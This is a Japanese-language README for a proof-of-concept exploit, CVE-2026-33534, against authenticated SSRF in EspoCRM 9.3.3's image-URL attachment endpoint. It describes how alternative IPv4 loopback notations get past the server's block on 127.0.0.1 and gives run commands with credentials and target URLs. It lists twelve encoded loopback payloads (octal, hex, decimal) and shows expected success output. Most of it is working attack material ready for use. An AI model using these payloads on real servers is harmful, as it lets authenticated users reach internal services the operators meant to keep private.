
EspoCRM 9.3.3 - 代替IPv4表記による認証済みSSRF
EspoCRM 9.3.3の/api/v1/Attachment/fromImageUrlエンドポイントにおける代替IPv4ループバック表記を利用した認証済みSSRFの概念実証コード。
EspoCRM 9.3.3はhttp://127.0.0.1/...のような直接的なループバックURLをブロックしますが、サーバー側のフェッチ処理はcURLがループバックに正規化する代替IPv4表現を受け入れます。これにより、影響を受ける添付ファイル/画像アップロードフローにアクセスできる認証済みユーザーが、EspoCRMサーバーに内部リソースをフェッチさせることが可能になります。
このエクスプロイトは、まず直接的な127.0.0.1コントロールリクエストを送信し、HTTP 403でブロックされることを期待します。その後、複数のエンコードされたループバックペイロードをテストし、保存された添付ファイルを生成するものを報告します。
requests依存関係のインストール:
python3 -m pip install requests
ポート8083で実行中のEspoCRMインスタンスに対する基本的なローカル検証:
python3 CVE-2026-33534.py \
-u http://127.0.0.1:8083 \
-U admin \
-P 'Admin12345!' \
--internal-port 8083 \
--cleanup
カスタムポートとパスで内部サービスをテスト:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--internal-port 9002 \
--internal-path /interno.png \
--cleanup
カスタムペイロードのみを使用:
python3 CVE-2026-33534.py \
-u https://target.example \
-U user \
-P 'password' \
--no-default-payloads \
--payload 0x7f000001 \
--payload 2130706433
このエクスプロイトは、デフォルトで以下のループバックホスト表現をテストします:
0177.0.0.1
0177.0000.0000.0001
0177.1
0x7f.0.0.1
0x7f.0x0.0x0.0x1
0x7f000001
2130706433
017700000001
127.1
127.0.1
127.000.000.001
0000000000000000000000000177.0.0.1
カスタムペイロードファイルがサポートされています。各行は次のいずれかになります:
host
label=host
例:
hex-dword=0x7f000001
decimal-dword=2130706433
実行方法:
python3 CVE-2026-33534.py -u https://target.example -U user -P pass --payload-file payloads.txt
-u, --url ベースとなるEspoCRM URL
-U, --username EspoCRMユーザー名
-P, --password EspoCRMパスワード
--internal-port フェッチする内部ループバックポート
--internal-path フェッチする内部パス
--payload 追加のループバックホスト表記
--payload-file 1行に1つのホストペイロードを含むファイル
--no-default-payloads カスタムペイロードのみを使用
--field 添付ファイルフィールド、デフォルト: avatar
--parent-type 親エンティティタイプ、デフォルト: User
--parent-id オプションの親エンティティID
--cleanup 成功したペイロードによって作成された添付ファイルを削除
--stop-on-first 最初の成功したバイパス後に停止
--insecure TLS証明書の検証を無効化
エクスプロイトが成功すると、直接ループバックコントロールがブロックされ、1つ以上のエンコードされたペイロードが受け入れられたことが表示されます:
[*] Control response: HTTP 403 Not allowed URL.
[+] octal dotted 0177.0.0.1 HTTP 200 id=... type=image/svg+xml size=4438
[+] hex dword 0x7f000001 HTTP 200 id=... type=image/svg+xml size=4438
[+] Vulnerable behavior confirmed.
[+] Direct loopback control: HTTP 403
[+] Successful payloads: 12
/client/img/logo-light.svgをフェッチします。別の内部サービスには--internal-portと--internal-pathを調整してください。User.avatarです。テストするアカウントが異なるアップロードコンテキストを必要とする場合は、--field、--parent-type、--parent-idを使用してください。--cleanupを使用して、作成された添付ファイルを自動的に削除してください。